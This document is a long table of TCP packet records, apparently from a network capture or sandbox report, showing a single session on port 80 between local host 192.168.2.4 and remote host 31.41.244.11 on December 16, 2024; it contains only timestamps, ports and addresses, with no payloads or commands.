Dec 16, 2024 21:02:46.123888016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.124528885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.124627113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.124708891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.125610113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.125756979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.125879049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.126542091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.126638889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.126678944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.127540112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.127613068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.127670050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.128500938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.128566980 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.128643036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.128989935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.129506111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.129616976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.129659891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.129719019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.130502939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.130608082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.130631924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.130966902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.131659031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.131740093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.131757021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.131834030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.132483959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.132545948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.132582903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.132786989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.133472919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.133533001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.133630991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.134102106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.134423971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.134484053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.134603024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.135441065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.135525942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.135550976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.135632038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.136435986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.136526108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.136620998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.137526989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.137639046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.137728930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.138451099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.138590097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.138658047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.139421940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.139475107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.139535904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.139951944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.140384912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.140573025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.140615940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.141357899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.141433954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.141459942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.141671896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.142431021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.142442942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.142491102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.283581972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.283651114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.283683062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.283920050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.283992052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.284003019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.284172058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.284998894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.285192966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.285334110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.285506964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.285532951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.286267996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.286458015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.286484003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.287237883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.287327051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.287358046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.288242102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.288273096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.288338900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.289264917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.289292097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.289314032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.290118933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.290255070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.290354013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.290379047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.290518999 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.291239023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.291380882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.291440010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.291440010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.292179108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.292265892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.292293072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.293191910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.293220997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.293324947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.293329000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.293680906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.294203043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.294385910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.294408083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.294589043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.295172930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.295283079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.295329094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.295423031 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.296158075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.296298027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.296323061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.296518087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.297173977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.297303915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.298078060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.298293114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.298383951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.298464060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.299129009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.299278975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.299303055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.300009012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.300095081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.300278902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.301095963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.301137924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.301203012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.302086115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.302114010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.302227974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.303101063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.303138971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.303215981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.304086924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.304116011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.304191113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.305078030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.305108070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.305269003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.305979967 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.306046963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.306166887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.307126999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.307290077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.308031082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.308063030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.308119059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.308152914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.308983088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.309042931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.309185028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.310139894 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.310168028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.310247898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.311018944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.311047077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.311106920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.311415911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.311989069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.312114954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.313072920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.313205957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.313234091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.313960075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.314217091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.314246893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.314954996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.315021992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.315048933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.315933943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.316054106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.316081047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.316936970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.317140102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.317167044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.317939043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.318041086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.318069935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.318933010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.319067001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.319094896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.319955111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.320013046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.320038080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.320986986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.321017027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.321038961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.321865082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.321902990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.321943998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.322905064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.322951078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.323102951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.323848009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.323875904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.323914051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.323993921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.324939013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.324985981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.325867891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.325896978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.325954914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.326843023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.326872110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.326945066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.327821016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.327850103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.327851057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.328807116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.328836918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.328891993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.329799891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.329828978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.329905033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.329981089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.330848932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.330892086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.331780910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.331824064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.331831932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.332777977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.332808018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.332882881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.332983971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.333770037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.333887100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.334738970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.334767103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.334851027 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.336002111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.475840092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.476046085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.476289034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.476366997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.476527929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.477230072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.477353096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.477368116 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.478146076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.478178978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.478221893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.479171991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.479201078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.479257107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.480042934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.480158091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.480258942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.481127024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.481156111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.481319904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.482132912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.482156038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.482228994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.483114958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.483144045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.483258963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.484143019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.484169006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.484188080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.485111952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.485138893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.485165119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.485982895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.486107111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.486238956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.487060070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.487097025 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.487152100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.488080025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.488111019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.488189936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.488993883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.489032030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.489145041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.490047932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.490076065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.490113974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.491010904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.491046906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.491117001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.492002964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.492036104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.492074013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.492995977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.493024111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.493061066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.493993998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.494023085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.494085073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.494995117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.495014906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.495027065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.495053053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.495428085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.495975018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.496030092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.496133089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.496994972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.497114897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.497138977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.497984886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.498034000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.498100996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.498873949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.498955965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.499088049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.499114990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.499972105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.499998093 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.500102997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.500936031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.500961065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.501087904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.501117945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.501919985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.502005100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.502032995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.502993107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.503036976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.503061056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.503878117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.503963947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.503988028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.504865885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.504894972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.505045891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.505979061 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.506006956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.506103039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.506851912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.506891966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.506961107 CET	80	49842	31.41.244.11	192.168.2.4
